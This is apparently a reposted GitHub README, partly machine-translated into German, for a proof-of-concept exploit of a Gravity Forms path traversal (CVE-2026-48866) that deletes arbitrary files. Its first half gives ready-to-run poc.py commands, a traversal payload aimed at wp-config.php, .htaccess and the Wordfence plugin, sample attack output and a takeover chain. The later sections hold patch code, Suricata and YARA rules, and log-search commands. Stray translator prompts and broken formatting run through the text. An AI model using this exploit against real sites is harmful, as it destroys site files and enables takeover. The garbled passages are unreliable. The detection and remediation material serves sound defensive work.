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CVE-2026-48866 — CVE-2026-48866 — Gravity Forms <= 2.10.0.1 Arbitrary File Deletion via Path Traversal (CVSS 9.6) | Kitploit
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GitHub0xabcd01/cve-2026-48866

CVE-2026-48866

CVE-2026-48866 — Gravity Forms <= 2.10.0.1 Arbitrary File Deletion via Path Traversal (CVSS 9.6)

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CVE-2026-48866 CVSS 9.6 CWE-22 Betroffen Behoben

Typ Zugriff Auslöser Plattform Sprache Lizenz

---``` ┌───────────────────────────────────────────────────────────┐ │ │ │ C V E - 2 0 2 6 - 4 8 8 6 6 │ │ │ │ Gravity Forms Path Traversal → Arbitrary File Deletion │ │ │ └───────────────────────────────────────────────────────────┘

root@kitploit:~
<h3 align="center">
  <code>gform_uploaded_files</code> akzeptiert <code>../</code> in URLs. Ein Admin-Klick auf „Löschen“ löst eine beliebige Dateilöschung aus.
</h3>

<p align="center">
  <a href="https://nvd.nist.gov/vuln/detail/CVE-2026-48866">NVD</a> •
  <a href="https://patchstack.com/database/wordpress/plugin/gravityforms/vulnerability/wordpress-gravity-forms-plugin-2-10-0-1-arbitrary-file-deletion-vulnerability">Patchstack</a> •
  <a href="https://github.com/codewurker/gravityforms/commit/cf2ff65133d581cfed1c308adc1621c3af1f8422">Patched Commit</a> •
  <a href="https://github.com/codewurker/gravityforms">Source Mirror</a>
</p>

---

## Inhaltsverzeichnis

<table>
<tr>
<td width="50%">

**Exploit**
- [Schnellstart](#quick-start)
- [Funktionsweise](#how-it-works)
- [Auswirkungen](#impact)
- [Nutzung](#usage)

</td>
<td width="50%">

**Verteidigung**
- [Technischer Einblick](#technical-deep-dive)
- [Erkennung](#detection)
- [Behebung](#remediation)
- [Referenzen](#references)

</td>
</tr>
</table>

---

## Schnellstart```
┌─────────────────────────────────────────────────────────────────────┐
│  REQUIREMENTS                                                       │
│  ───────────────────────────────────────────────────────────────    │
│  Target    WordPress + Gravity Forms ≤ 2.10.0.1                     │
│  Form      Public form with a file upload field                     │
│  Python    3.8+ with requests                                       │
│  Auth      None (injection) / Admin creds (trigger)                 │
└─────────────────────────────────────────────────────────────────────┘

Please provide the Markdown content to translate.```bash git clone https://github.com/0xABCD01/CVE-2026-48866.git cd CVE-2026-48866 pip install requests

Inject only (unauthenticated — file dies when admin cleans entries)

python3 poc.py -t https://test.com -f 1 -i 3

Full kill chain (admin creds provided — immediate deletion)

python3 poc.py -t https://test.com -f 1 -i 3 --trigger --admin-user admin --admin-pass 'P@ssw0rd'

root@kitploit:~
---

## So funktioniert es

### Angriffsablauf```
  ┌───────────────────────────────────────────────────────────────────────┐
  │                        PHASE 1 — INJECTION                           │
  │                    (Unauthenticated — any visitor)                    │
  ├───────────────────────────────────────────────────────────────────────┤
  │                                                                       │
  │   ┌─────────┐    POST gform_uploaded_files     ┌──────────────────┐  │
  │   │ Attacker │ ──────────────────────────────── │  WordPress AJAX  │  │
  │   └─────────┘    {"input_3": [{"url":           │  admin-ajax.php  │  │
  │                   ".../../../../wp-config.php"}] └────────┬─────────┘  │
  │                                                          │            │
  │                  esc_url_raw() → OK (doesn't strip ../)  │            │
  │                  is_valid_url() → OK (../ is valid URL)   │            │
  │                                                          ▼            │
  │                                                 ┌──────────────────┐  │
  │                                                 │   wp_postmeta    │  │
  │                                                 │   (entry stored  │  │
  │                                                 │   WITH ../)      │  │
  │                                                 └────────┬─────────┘  │
  └──────────────────────────────────────────────────────────┼────────────┘
                                                             │
                               ┌─────────────────────────────┘
                               │  (hours, days, or weeks pass...)
                               ▼
  ┌───────────────────────────────────────────────────────────────────────┐
  │                       PHASE 2 — DELETION                             │
  │                 (Admin deletes entry — routine cleanup)               │
  ├───────────────────────────────────────────────────────────────────────┤
  │                                                                       │
  │   ┌─────────┐    delete_entry(42)              ┌──────────────────┐  │
  │   │  Admin  │ ──────────────────────────────── │  Gravity Forms   │  │
  │   └─────────┘                                  └────────┬─────────┘  │
  │                                                          │            │
  │                  get_physical_file_path()                 │            │
  │                  str_replace(url_base → path_base)        │            │
  │                  ../ SURVIVES in the path                 │            │
  │                                                          ▼            │
  │                                                 ┌──────────────────┐  │
  │                                                 │    unlink()      │  │
  │                                                 │                  │  │
  │                                                 │  /var/www/html/  │  │
  │                                                 │  wp-config.php   │  │
  │                                                 │     → DELETED    │  │
  │                                                 └──────────────────┘  │
  └───────────────────────────────────────────────────────────────────────┘

Die Grundursache (3 Zeilen PHP)```php

// forms_model.php — get_physical_file_path() // Converts stored URL to filesystem path via string replacement $path_info = GF_Field_FileUpload::get_file_upload_path_info( $url, $entry_id ); $file_path = str_replace( trailingslashit( $path_info['url'] ), // https://target.com/wp-content/uploads/gravity_forms/ trailingslashit( $path_info['path'] ), // /var/www/html/wp-content/uploads/gravity_forms/ $url // .../gravity_forms/../../../wp-config.php ); // Result: /var/www/html/wp-content/uploads/gravity_forms/../../../wp-config.php // OS resolves ../../../ → /var/www/html/wp-config.php

root@kitploit:~
Es gibt keine Prüfung zwischen `str_replace()` und `unlink()`. Der Fehler liegt in dieser Lücke.

---

## Auswirkung

<table>
<tr>
<th>Ziel</th>
<th>Auswirkung</th>
<th>Schweregrad</th>
</tr>
<tr>
<td><code>wp-config.php</code></td>
<td>Website geht offline. WordPress zeigt den Installations-Assistenten. Der Angreifer leitet die DB auf seinen eigenen Server um, um <strong>vollständige Übernahme der Website</strong> zu ermöglichen.</td>
<td align="center">KRITISCH</td>
</tr>
<tr>
<td><code>.htaccess</code></td>
<td>URL-Umschreibung und Sicherheitsregeln sind weg. Verzeichnislisten sind offen.</td>
<td align="center">HOCH</td>
</tr>
<tr>
<td><code>wp-content/plugins/wordfence/wordfence.php</code></td>
<td>Wordfence WAF läuft nicht mehr. Keine Firewall zwischen Angreifer und Website.</td>
<td align="center">HOCH</td>
</tr>
<tr>
<td><code>wp-includes/plugin.php</code></td>
<td>Keine Plugins werden geladen. Website funktioniert nicht mehr.</td>
<td align="center">KRITISCH</td>
</tr>
<tr>
<td><code>wp-login.php</code></td>
<td>Admin ausgesperrt. Niemand kann sich anmelden, bis Dateien wiederhergestellt sind.</td>
<td align="center">MITTEL</td>
</tr>
</table>

> *„Schwachstellen wie diese werden in Massen-Exploit-Kampagnen eingesetzt, die tausende Websites gleichzeitig angreifen.“*
> [Patchstack Advisory, 2026-06-01](https://patchstack.com/database/wordpress/plugin/gravityforms/vulnerability/wordpress-gravity-forms-plugin-2-10-0-1-arbitrary-file-deletion-vulnerability)

### Löschung → RCE-Eskalationskette```
  ┌─────────────┐      ┌──────────────────┐      ┌─────────────────┐
  │ Delete       │      │ WordPress shows   │      │ Attacker sets   │
  │ wp-config.php│ ──── │ installer wizard  │ ──── │ own DB creds    │
  └─────────────┘      └──────────────────┘      └────────┬────────┘
                                                           │
                                                           ▼
                                                  ┌─────────────────┐
                                                  │ Full admin      │
                                                  │ access to site  │
                                                  │ (RCE via themes │
                                                  │  /plugin editor)│
                                                  └─────────────────┘

RCE-Kette erfordert:

  • Vom Angreifer kontrollierbarer erreichbarer MySQL-Server
  • WordPress-Installer zugänglich (nicht durch Hosting/WAF blockiert)
  • Ergebnis: Angreifer erhält eine frische WordPress-Installation auf derselben Domain, KEIN Zugriff auf bestehende Websitedaten

Verwendung

Befehlsreferenz```

┌──────────────────────────────────────────────────────────────────────────┐ │ USAGE │ │ ───────────────────────────────────────────────────────────────────── │ │ python3 poc.py [OPTIONS] │ │ │ │ REQUIRED │ │ -t, --target TARGET Target WordPress URL │ │ -f, --form-id ID Gravity Forms form ID │ │ -i, --field-id ID File upload field ID │ │ │ │ OPTIONAL │ │ --file FILE Relative path to delete (default: │ │ wp-config.php) │ │ --depth N ../ count (default: 3) │ │ --trigger Auto-delete via admin login │ │ --admin-user USER Admin username (default: admin) │ │ --admin-pass PASS Admin password (default: admin) │ │ --proxy URL HTTP proxy for intercepting │ │ --verify-only Check target only, don't exploit │ └──────────────────────────────────────────────────────────────────────────┘

root@kitploit:~
### Beispielszenarien

<details>
<summary><b>Szenario 1: Stille Injektion (keine Admin-Anmeldedaten erforderlich)</b></summary>```bash
python3 poc.py \
  --target https://test.com \
  --form-id 1 \
  --field-id 3
  1. PoC ruft die Formularseite ab, extrahiert den AJAX-Nonce
  2. Übermittelt gform_uploaded_files mit ../../../wp-config.php in der URL eingebettet
  3. Die Datenbank speichert den Eintrag mit der bösartigen URL
  4. Wenn ein Admin den Eintrag löscht (regelmäßige Bereinigung oder Massenlöschung), ist wp-config.php verschwunden

Zeit bis zur Auslösung: Unbekannt. Hängt vom Admin-Verhalten ab. Stunden oder Wochen.

Szenario 2: Vollständige Kill Chain (Admin-Zugangsdaten bereitgestellt)```bash python3 poc.py \ --target https://test.com \ --form-id 1 \ --field-id 3 \ --trigger \ --admin-user admin \ --admin-pass 'P@ssw0rd!' ``` 1. Phase 1: Injiziert den schädlichen Eintrag (gleich wie Szenario 1) 2. Phase 2: Melde dich bei WordPress als Admin an, findet den vergifteten Eintrag, löscht ihn 3. `wp-config.php` ist weg 4. PoC prüft, ob die Seite nicht erreichbar ist

Zeit bis zur Auslösung: Sekunden.

Szenario 3: Ziel .htaccess (geringere Tiefe erforderlich)```bash python3 poc.py \ --target https://test.com \ --form-id 1 \ --field-id 3 \ --file .htaccess \ --depth 2 \ --trigger \ --admin-user admin \ --admin-pass 'P@ssw0rd!' ``` **Tiefenerklärung:**``` depth 3 (default): gravity_forms/ → uploads/ → wp-content/ → WP root depth 2: gravity_forms/ → uploads/ → wp-content/ (.htaccess lives here) depth 1: gravity_forms/ → uploads/ (files in uploads dir) ```
Szenario 4: Wordfence-Firewall deaktivieren```bash python3 poc.py \ --target https://test.com \ --form-id 1 \ --field-id 3 \ --file wp-content/plugins/wordfence/wordfence.php \ --depth 1 \ --trigger \ --admin-user admin \ --admin-pass 'P@ssw0rd!' ```
Szenario 5: Route durch Burp Suite```bash python3 poc.py \ --target https://test.com \ --form-id 1 \ --field-id 3 \ --trigger \ --admin-user admin \ --admin-pass 'P@ssw0rd!' \ --proxy http://127.0.0.1:8080 ```

Beispielausgabe```

root@kitploit:~
CVE-2026-48866 - Gravity Forms Arbitrary File Deletion
======================================================
Target:     https://test.com
Form ID:    1
Field ID:   3
File:       wp-config.php
Depth:      3
Trigger:    True

[] === Phase 1: Injecting path traversal payload === [] Fetching form page to get nonce... [+] Got nonce: a1b2c3d4e5f6 [] Crafted payload URL: https://test.com/wp-content/uploads/gravity_forms/../../../wp-config.php [] Submitting form 1 to https://test.com/wp-admin/admin-ajax.php... [*] Response status: 200 [+] Form submitted successfully. Malicious URL stored in entry.

[] === Phase 2: Triggering file deletion as admin === [+] Logged in as admin [+] Found latest entry ID: 42 [] Deleting entry 42... [+] Entry deleted. If the target file existed, it should now be deleted.

[*] Checking target site health... [!!!] Site returned error - wp-config.php may have been deleted!

root@kitploit:~
---

## Technischer Tiefgang

### Aufrufstapel: Injektionspfad```
wp_ajax_nopriv_gform_submit_form                     ← WordPress AJAX, NO AUTH
  └─ GF_Ajax_Handler::submit_form()
      └─ GFAPI::submit_form()
          └─ GFFormDisplay::process_form()
              ├─ GFFormsModel::set_uploaded_files()          [forms_model.php]
              │   └─ esc_url_raw( $file['url'] )             ← does NOT strip ../
              └─ GF_Field_FileUpload::get_value_save_entry() [class-gf-field-fileupload.php]
                  └─ get_multifile_value()
                      ├─ GFCommon::is_valid_url($url)        ← format-only, ../ passes
                      └─ $uploaded_files[] = $file['url']     ← STORED WITH ../

Aufrufstapel: Löschpfad```

GFFormsModel::delete_lead() [forms_model.php] └─ GFFormsModel::delete_files( $entry_id ) └─ delete_physical_file( $file_url, $entry_id ) ├─ get_physical_file_path( $url ) │ └─ str_replace( url_base, path_base, $url ) ← ../ PRESERVED ├─ file_exists( $file_path ) ← OS resolves ../ └─ unlink( $file_path ) ← ARBITRARY FILE DELETED

root@kitploit:~
### Verwundbar vs Gepatcht

<table>
<tr>
<th width="50%">Verwundbar (≤ 2.10.0.1)</th>
<th width="50%">Gepatcht (2.10.1)</th>
</tr>
<tr>
<td>

</td>
<td>

</td>
</tr>
</table>```php
// delete_physical_file() — NO validation
$file_path = self::get_physical_file_path(
    $url, $entry_id
);
$file_path = apply_filters(
    'gform_file_path_pre_delete_file',
    $file_path, $url
);
// ← No check here
if ( file_exists( $file_path ) ) {
    $result = unlink( $file_path );
}
```php // delete_physical_file() — WITH validation $file_path = self::get_physical_file_path( $url, $entry_id ); $file_path = apply_filters( 'gform_file_path_pre_delete_file', $file_path, $url ); // NEW: verify path is in uploads if ( ! GFCommon::is_file_in_uploads($url) ) { GFCommon::log_debug(__METHOD__ . sprintf(': Not deleting: %s', $file_path)); return; } if ( file_exists( $file_path ) ) { $result = unlink( $file_path ); } ```

Patch-Funktionen (v2.10.1)

GFCommon::get_absolute_path() löst . und .. auf, indem es Pfadsegmente durchläuft:```php public static function get_absolute_path( $path ) { $path = str_replace( array( '/', '\' ), DIRECTORY_SEPARATOR, $path ); $path = str_replace( '://', '|%%protocol%%|', $path ); $parts = array_filter( explode( DIRECTORY_SEPARATOR, $path ), 'strlen' ); $absolutes = array();

root@kitploit:~
foreach ( $parts as $part ) {
    if ( '.' == $part ) { continue; }
    if ( '..' == $part ) {
        array_pop( $absolutes );
    } else {
        $absolutes[] = $part;
    }
}

$path = implode( DIRECTORY_SEPARATOR, $absolutes );
return str_replace( '|%%protocol%%|', '://', $path );

}

root@kitploit:~
**`GFCommon::is_file_in_uploads()`** vergleicht den aufgelösten Pfad mit dem Uploads-Stammverzeichnis:```php
public static function is_file_in_uploads( $file ) {
    $file_path = self::get_absolute_path( $file );
    $root_url  = rgar(
        GF_Field_FileUpload::get_file_upload_path_info( '' ), 'url'
    );
    if ( ! str_starts_with( $file_path, $root_url ) ) {
        return false;
    }
    return true;
}

Commit-Referenzen


Erkennung

Netzwerk: Suricata-Regeln```suricata

Rule 1: Detect ../ traversal in gform_uploaded_files

alert http $EXTERNAL_NET any -> $HOME_NET any (
msg:"CVE-2026-48866 Gravity Forms Path Traversal in gform_uploaded_files";
flow:established,to_server;
http.method; content:"POST";
http.request_body; content:"gform_uploaded_files";
content:"../"; distance:0;
reference:cve,2026-48866;
classtype:web-application-attack;
sid:2026048866; rev:1;)

Rule 2: URL-encoded variant (%2e%2e)

alert http $EXTERNAL_NET any -> $HOME_NET any (
msg:"CVE-2026-48866 Gravity Forms Path Traversal (URL-encoded)";
flow:established,to_server;
http.method; content:"POST";
http.request_body; content:"gform_uploaded_files";
content:"%2e%2e"; nocase; distance:0;
reference:cve,2026-48866;
classtype:web-application-attack;
sid:2026048867; rev:1;)

Rule 3: "url" key with traversal nearby

alert http $EXTERNAL_NET any -> $HOME_NET any (
msg:"CVE-2026-48866 Gravity Forms Malicious URL in Upload Parameter";
flow:established,to_server;
http.method; content:"POST";
http.request_body; content:"gform_uploaded_files";
content:"|22|url|22|"; distance:0;
content:".."; distance:0; within:200;
reference:cve,2026-48866;
classtype:web-application-attack;
sid:2026048868; rev:1;)

root@kitploit:~
### Host: YARA Rules```yara
rule CVE_2026_48866_Exploit_Payload {
    meta:
        description = "Detects CVE-2026-48866 payload in HTTP POST data or logs"
        cve         = "CVE-2026-48866"
        severity    = "critical"
        author      = "security-research"
    strings:
        $gform_param = "gform_uploaded_files"
        $traversal1  = "../"
        $traversal2  = "..\\"
        $traversal3  = "%2e%2e%2f" nocase
        $traversal4  = "..%2f" nocase
        $url_key     = "\"url\""
    condition:
        $gform_param and $url_key and any of ($traversal*)
}

rule CVE_2026_48866_Vulnerable_Plugin {
    meta:
        description = "Detects vulnerable Gravity Forms lacking is_file_in_uploads fix"
        cve         = "CVE-2026-48866"
        severity    = "high"
    strings:
        $plugin_id = "gravityforms"
        $vuln_func = "delete_physical_file"
        $fix_func  = "is_file_in_uploads"
    condition:
        $plugin_id and $vuln_func and not $fix_func
}

rule CVE_2026_48866_Patched_Plugin {
    meta:
        description = "Confirms Gravity Forms has the is_file_in_uploads patch"
        cve         = "CVE-2026-48866"
        severity    = "informational"
    strings:
        $plugin_id   = "gravityforms"
        $fix_func    = "is_file_in_uploads"
        $fix_helper  = "get_absolute_path"
    condition:
        $plugin_id and $fix_func and $fix_helper
}

Bitte fügen Sie den zu übersetzenden Markdown-Text ein.```bash

Scan your Gravity Forms installation

yara -r CVE_2026_48866.yar /var/www/html/wp-content/plugins/gravityforms/

root@kitploit:~
| Regel | Du hast gefunden |
|---|---|
| `CVE_2026_48866_Exploit_Payload` | Der Exploit-Payload in einem HTTP-Log oder POST-Body |
| `CVE_2026_48866_Vulnerable_Plugin` | Eine Gravity Forms Installation ohne den Fix |
| `CVE_2026_48866_Patched_Plugin` | Eine Gravity Forms Installation mit dem Fix |

### Log-Analyse```bash
# Apache / Nginx access logs — find exploitation attempts
grep -E 'gform_uploaded_files.*(\.\./|%2e%2e)' /var/log/apache2/access.log
grep -E 'gform_uploaded_files.*(\.\./|%2e%2e)' /var/log/nginx/access.log

# Gravity Forms debug log — check for blocked deletions
grep "Not deleting file from URL" /var/www/html/wp-content/uploads/gravity_forms/debug.log

# Verify your install has the fix
grep -r "is_file_in_uploads" /var/www/html/wp-content/plugins/gravityforms/
# → Results in common.php = patched
# → No results = VULNERABLE

Behebung```

┌─────────────────────────────────────────────────────────────────────────┐ │ REMEDIATION CHECKLIST │ │ ───────────────────────────────────────────────────────────────────── │ │ │ │ [ ] 1. UPDATE Gravity Forms to ≥ 2.10.1 │ │ [ ] 2. VERIFY fix is present (grep for is_file_in_uploads) │ │ [ ] 3. AUDIT access logs for past exploitation attempts │ │ [ ] 4. DEPLOY Suricata/WAF rules as interim protection │ │ [ ] 5. CHECK file integrity (were any core files already deleted?) │ │ [ ] 6. MONITOR for new entries with suspicious file URLs │ │ │ └─────────────────────────────────────────────────────────────────────────┘

root@kitploit:~
| Priorität | Aktion | Befehl |
|---|---|---|---|
| P0 | Gravity Forms aktualisieren | WordPress Admin → Plugins → Aktualisieren |
| P1 | Patch überprüfen | `grep -r "is_file_in_uploads" wp-content/plugins/gravityforms/` |
| P2 | Logs prüfen | `grep -E 'gform_uploaded_files.*\.\./' /var/log/*/access.log` |
| P3 | WAF-Regeln bereitstellen | Siehe Abschnitt [Erkennung](#detection) oben |

---

## Haftungsausschluss```
┌─────────────────────────────────────────────────────────────────────────┐
│  LEGAL NOTICE                                                           │
│  ─────────────────────────────────────────────────────────────────────  │
│                                                                         │
│  This tool is provided for AUTHORIZED SECURITY TESTING and EDUCATIONAL  │
│  PURPOSES ONLY. Unauthorized access to computer systems is illegal      │
│  under the Computer Fraud and Abuse Act (CFAA), EU Computer Misuse      │
│  Directive, and equivalent laws worldwide.                              │
│                                                                         │
│  • Always obtain WRITTEN PERMISSION before testing systems you own.    │
│  • You are responsible for complying with all applicable laws.          │
│  • The authors assume NO LIABILITY for misuse of this software.         │
│                                                                         │
│  If you find this vulnerability in production: REPORT IT.               │
│  Patchstack: https://patchstack.com/database/                           │
│                                                                         │
└─────────────────────────────────────────────────────────────────────────┘

Referenzen


Autorisiertes Pentesting Sterne

Tool herunterladen
VersionCommitBeschreibung
v2.10.086bf7b9Anfällig. Keine Pfadvalidierung in delete_physical_file()
v2.10.1cf2ff65Gepatcht. Fügt is_file_in_uploads()-Prüfung vor unlink() hinzu
QuelleLinkStatus
NVDhttps://nvd.nist.gov/vuln/detail/CVE-2026-48866Verifiziert
Patchstack Advisoryhttps://patchstack.com/database/wordpress/plugin/gravityforms/vulnerability/wordpress-gravity-forms-plugin-2-10-0-1-arbitrary-file-deletion-vulnerabilityVerifiziert
Gravity Forms Changeloghttps://docs.gravityforms.com/gravityforms-change-log/Verifiziert
Quellcode (Spiegel)https://github.com/codewurker/gravityformsVerifiziert
Verwundbarer Commit (v2.10.0)https://github.com/codewurker/gravityforms/commit/86bf7b9ecf14fd4a826a741a1ae180040589ebedVerifiziert
Gepatchter Commit (v2.10.1)https://github.com/codewurker/gravityforms/commit/cf2ff65133d581cfed1c308adc1621c3af1f8422Verifiziert
CWE-22https://cwe.mitre.org/data/definitions/22.htmlVerifiziert
MITRE CVEhttps://www.cve.org/CVERecord?id=CVE-2026-48866Noch nicht befüllt